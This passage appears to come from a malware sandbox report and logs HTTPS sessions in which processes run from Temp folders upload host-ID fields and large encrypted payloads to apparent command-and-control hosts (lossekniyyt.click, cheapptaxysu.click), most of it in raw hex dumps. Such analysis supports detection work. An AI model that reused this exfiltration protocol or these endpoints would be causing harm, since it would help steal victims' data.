53 34 6c 70 34 57 6b 71 45 49 65 76 72 57 56 72 32 77 58 54 53 4e 30 Data Ascii: BNiVS/0yf4pzN2Y0PM0LjOniLDsGVKQiq+NKA8OPjS2VT8UC//T+2Pfl42Z8jRtaOHC8qgdRtne4q0hAw86N6FUeltA+dn0KYuFkYfzJyByp4WwqEIek5SngigCBj44ulM/Bwjx2Phh1pyHlfk/ZWj1kL/sFFLZyOKLNEhbehGnUCoTA7fAunCTlI3QrHhuZeuJu+MRWp2Gr4ciBgo2PLxUKBgF/9X9bN+egoL3OS4lp4WkqEIevrWVr2wXTSN0
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 31 41 32 39 7a 37 59 70 4f 4d 7a 34 6d 30 50 32 49 72 76 38 4b 37 34 42 4a 51 6d 6f 43 70 67 43 41 4a 43 6a 77 78 75 46 51 31 45 67 6e 77 33 2f 4a 37 31 4a 36 49 6b 50 38 78 5a 47 2f 6d 69 66 79 6d 57 6c 6d 42 78 76 72 4d 48 67 38 56 4b 6a 66 77 54 48 51 4d 51 50 44 54 74 44 47 54 6e 70 4f 52 38 53 70 71 5a 4f 79 51 74 2b 34 61 57 34 75 42 72 6f 59 6a 43 77 73 33 4e 37 68 42 4f 68 67 41 35 63 33 79 59 74 33 54 7a 39 44 7a 49 43 34 7a 70 37 4f 72 34 31 70 42 31 35 2f 69 69 79 42 49 57 33 6f 33 75 6c 34 30 42 77 54 78 31 50 64 6e 32 35 61 4a 6c 50 34 31 59 57 44 74 69 37 54 6f 46 56 75 52 6a 61 53 43 4c 51 34 50 4e 33 54 2b 45 7a 30 4e 51 4b 2b 66 30 33 50 65 6c 5a 61 42 77 54 39 75 4f 71 65 64 38 76 46 61 57 5a 58 47 2b 73 77 68 42 41 6b 33 4d 62 52 62 50 Data Ascii: 1A29z7YpOMz4m0P2Irv8K74BJQmoCpgCAJCjwxuFQ1Egnw3/J71J6IkP8xZG/mifymWlmBxvrMHg8VKjfwTHQMQPDTtDGTnpOR8SpqZOyQt+4aW4uBroYjCws3N7hBOhgA5c3yYt3Tz9DzIC4zp7Or41pB15/iiyBIW3o3ul40BwTx1Pdn25aJlP41YWDti7ToFVuRjaSCLQ4PN3T+Ez0NQK+f03PelZaBwT9uOqed8vFaWZXG+swhBAk3MbRbP
2024-12-20 08:12:29 UTC	27	IN	Data Raw: 47 74 47 37 66 30 39 6e 51 2b 6a 56 6f 61 75 61 4b 74 4f 67 63 56 4a 32 46 0d 0a Data Ascii: GtG7f09nQ+jVoauaKtOgcVJ2F
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 33 34 39 34 0d 0a 71 34 38 72 41 51 55 78 4e 37 70 63 50 52 4d 45 39 39 54 7a 5a 39 57 57 69 70 6d 30 64 69 35 73 2f 38 4c 6b 71 44 78 39 69 35 53 51 67 69 38 54 51 79 56 36 71 52 4d 39 47 55 43 76 6e 2f 39 68 33 49 47 45 6d 66 77 38 5a 32 76 6a 69 4c 48 76 47 6c 75 55 67 36 61 43 4b 41 38 44 4e 6a 75 33 57 7a 55 52 41 50 69 66 75 69 6e 55 69 38 48 49 74 42 68 6c 66 63 61 4d 74 2f 70 61 51 64 65 66 34 6f 73 67 53 46 74 36 4f 72 6c 53 4d 68 73 4d 2f 39 76 6d 61 64 69 61 6a 70 48 37 4f 47 31 71 37 59 71 75 37 68 70 56 6b 59 47 71 69 43 49 61 41 6a 56 30 2f 68 4d 39 44 55 43 76 6e 38 56 2f 31 4a 53 4f 30 74 30 2f 64 57 72 74 67 62 66 6b 57 6b 48 58 6e 2b 4b 4c 49 45 68 62 65 6a 6d 38 58 6a 34 48 44 50 66 66 2f 57 37 5a 67 59 36 66 2b 54 74 75 62 76 57 44 72 Data Ascii: 3494q48rAQUxN7pcPRME99TzZ9WWipm0di5s/8LkqDx9i5SQgi8TQyV6qRM9GUCvn/9h3IGEmfw8Z2vjiLHvGluUg6aCKA8DNju3WzURAPifuinUi8HItBhlfcaMt/paQdef4osgSFt6OrlSMhsM/9vmadiajpH7OG1q7Yqu7hpVkYGqiCIaAjV0/hM9DUCvn8V/1JSO0t0/dWrtgbfkWkHXn+KLIEhbejm8Xj4HDPff/W7ZgY6f+TtubvWDr
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 59 67 61 57 48 50 67 4d 52 4d 54 79 7a 58 54 49 63 41 50 6e 66 39 57 54 54 30 38 2f 51 38 79 41 75 4d 36 65 6e 6e 2f 38 4d 56 4e 75 6c 74 5a 6f 6d 44 77 38 73 50 37 46 51 4c 42 67 51 74 35 47 30 65 4e 53 43 77 63 6a 69 4b 48 6c 73 2b 4d 79 6c 71 42 31 53 32 64 37 69 68 79 4d 47 44 6a 45 77 75 56 59 79 46 67 58 79 31 66 68 6c 30 70 75 49 6d 76 45 39 61 47 48 6b 6a 4c 50 70 46 6c 71 51 69 4b 76 4d 59 6b 67 45 49 6e 54 6f 45 77 77 46 42 2b 2f 53 35 43 76 68 6b 4a 43 42 34 54 56 2b 62 61 57 74 76 2b 51 5a 57 35 36 57 34 70 4e 69 45 55 4d 39 4f 50 41 4c 65 68 55 45 2b 39 7a 7a 5a 39 79 65 6a 70 66 2f 4e 32 52 6c 39 59 32 35 34 42 5a 57 6c 4a 53 6f 68 6a 34 42 43 6a 63 36 75 45 45 35 56 55 36 33 32 4f 77 70 69 39 4f 7a 6d 76 63 30 65 47 62 6f 77 71 4f 6d 41 78 Data Ascii: YgaWHPgMRMTyzXTIcAPnf9WTT08/Q8yAuM6enn/8MVNultZomDw8sP7FQLBgQt5G0eNSCwcjiKHls+MylqB1S2d7ihyMGDjEwuVYyFgXy1fhl0puImvE9aGHkjLPpFlqQiKvMYkgEInToEwwFB+/S5CvhkJCB4TV+baWtv+QZW56W4pNiEUM9OPALehUE+9zzZ9yejpf/N2Rl9Y254BZWlJSohj4BCjc6uEE5VU632Owpi9Ozmvc0eGbowqOmAx
2024-12-20 08:12:29 UTC	1369	IN	Data Raw: 69 79 49 4f 41 33 70 36 38 46 78 36 54 54 6d 33 6c 37 52 57 6e 64 4f 5a 30 4b 78 34 57 32 6a 70 6a 4c 76 2b 43 78 4f 36 6b 62 53 47 4e 30 6f 6c 50 53 57 35 52 54 63 48 51 4c 6d 66 38 69 6d 4c 77 38 2f 51 38 43 6b 75 4d 37 66 51 35 37 31 4a 43 63 6e 55 76 63 49 31 53 42 56 36 62 4f 49 64 65 67 64 41 72 35 2b 7a 61 73 47 42 68 35 50 69 4f 79 6c 56 32 61 4b 33 2f 68 74 54 6b 6f 71 63 73 6a 6b 4c 44 54 51 7a 70 6b 4a 36 57 30 44 34 6e 36 78 51 6b 39 76 42 72 37 70 34 64 69 75 2f 77 6f 6e 72 46 46 43 65 6b 4c 50 42 44 41 4d 56 4f 7a 6d 37 58 33 67 55 44 65 66 59 74 43 65 54 6c 63 48 49 70 48 59 75 62 2f 62 43 35 4c 68 49 42 63 7a 56 39 64 78 2b 46 30 30 6a 64 4b 59 54 59 6b 64 4f 74 38 32 30 4d 5a 50 55 67 6f 4c 6d 50 6d 31 39 35 4d 57 43 31 6a 70 56 6c 59 57 Data Ascii: iyIOA3p68Fx6TTm3l7RWndOZ0Kx4W2jpjLv+CxO6kbSGN0olPSW5RTcHQLmf8imLw8/Q8CkuM7fQ571JCcnUvcI1SBV6bOIdegdAr5+zasGBh5PiOylV2aK3/htTkoqcsjkLDTQzpkJ6W0D4n6xQk9vBr7p4diu/wonrFFCekLPBDAMVOzm7X3gUDefYtCeTlcHIpHYub/bC5LhIBczV9dx+F00jdKYTYkdOt820MZPUgoLmPm195MWC1jpVlYW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49815	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:29 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AXPAW5WLWK7KT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: lossekniyyt.click
2024-12-20 08:12:29 UTC	1250	OUT	Data Raw: 2d 2d 41 58 50 41 57 35 57 4c 57 4b 37 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 58 50 41 57 35 57 4c 57 4b 37 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 58 50 41 57 35 57 4c 57 4b 37 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 41 58 50 41 57 35 57 4c 57 4b 37 4b 54 0d 0a 43 Data Ascii: --AXPAW5WLWK7KTContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--AXPAW5WLWK7KTContent-Disposition: form-data; name="pid"1--AXPAW5WLWK7KTContent-Disposition: form-data; name="lid"9Z1cyc----AXPAW5WLWK7KTC
2024-12-20 08:12:30 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=usdsg94hp36k8gqfqrelgitmj2; expires=Tue, 15 Apr 2025 01:59:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F%2Fwi8zP%2B9WwY7jZEUefZWWcMMqA6tv%2Fl2apV2KjUQ28A2A1XQLgDsqkFbmwf9Dr0fG%2FCcGMOlfzGrpj7%2FMc%2B97YComK4hqpzTIN4rUT5eyM0JTtu9rdC3JlXIH4ChKKjznXM7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2aeeacba43ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1727&rtt_var=655&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2163&delivery_rate=1662870&cwnd=230&unsent_bytes=0&cid=276ddab121f92151&ts=775&x=0"
2024-12-20 08:12:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49821	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:31 UTC	374	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=81RNL8J556C1YJ1QHDS Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18164 Host: cheapptaxysu.click
2024-12-20 08:12:31 UTC	15331	OUT	Data Raw: 2d 2d 38 31 52 4e 4c 38 4a 35 35 36 43 31 59 4a 31 51 48 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 38 31 52 4e 4c 38 4a 35 35 36 43 31 59 4a 31 51 48 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 31 52 4e 4c 38 4a 35 35 36 43 31 59 4a 31 51 48 44 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a Data Ascii: --81RNL8J556C1YJ1QHDSContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--81RNL8J556C1YJ1QHDSContent-Disposition: form-data; name="pid"2--81RNL8J556C1YJ1QHDSContent-Disposition: form-data; name="lid"CZJvss--
2024-12-20 08:12:31 UTC	2833	OUT	Data Raw: a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de Data Ascii: jf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{
2024-12-20 08:12:32 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5r6rckj0kihl5351i8c2nsd160; expires=Tue, 15 Apr 2025 01:59:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lh%2BAy%2FQWianhxdGXPkKQH5dumf5pKD6HK8%2FR%2BbYlLbs7UGl7TqVX2bSA1c%2FOmoraU6ojKks9f%2BisI7BsgnrqHQjOm39KIW2p6wTCqxxM6mroA8Ch5StieNTXDK5OfEiBGyjRa4U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2afa2c600fa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1479&rtt_var=590&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19218&delivery_rate=1801357&cwnd=190&unsent_bytes=0&cid=45f81e426f04f4bb&ts=1247&x=0"
2024-12-20 08:12:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 08:12:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49822	172.67.131.246	443	7728	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P91EE9FEV5GQCS2I8C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568226 Host: lossekniyyt.click
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 2d 2d 50 39 31 45 45 39 46 45 56 35 47 51 43 53 32 49 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 39 31 45 45 39 46 45 56 35 47 51 43 53 32 49 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 39 31 45 45 39 46 45 56 35 47 51 43 53 32 49 38 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 50 Data Ascii: --P91EE9FEV5GQCS2I8CContent-Disposition: form-data; name="hwid"BC5906996CC81CD4AC8923850305D13E--P91EE9FEV5GQCS2I8CContent-Disposition: form-data; name="pid"1--P91EE9FEV5GQCS2I8CContent-Disposition: form-data; name="lid"9Z1cyc----P
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 Data Ascii: J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 Data Ascii: }w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5IIELX;
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 Data Ascii: Zmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCY
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc Data Ascii: 1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5S?K
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 Data Ascii: k*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacF
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 Data Ascii: 6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$
2024-12-20 08:12:32 UTC	15331	OUT	Data Raw: e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 53 ce 84 49 d1 61 57 Data Ascii: P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW
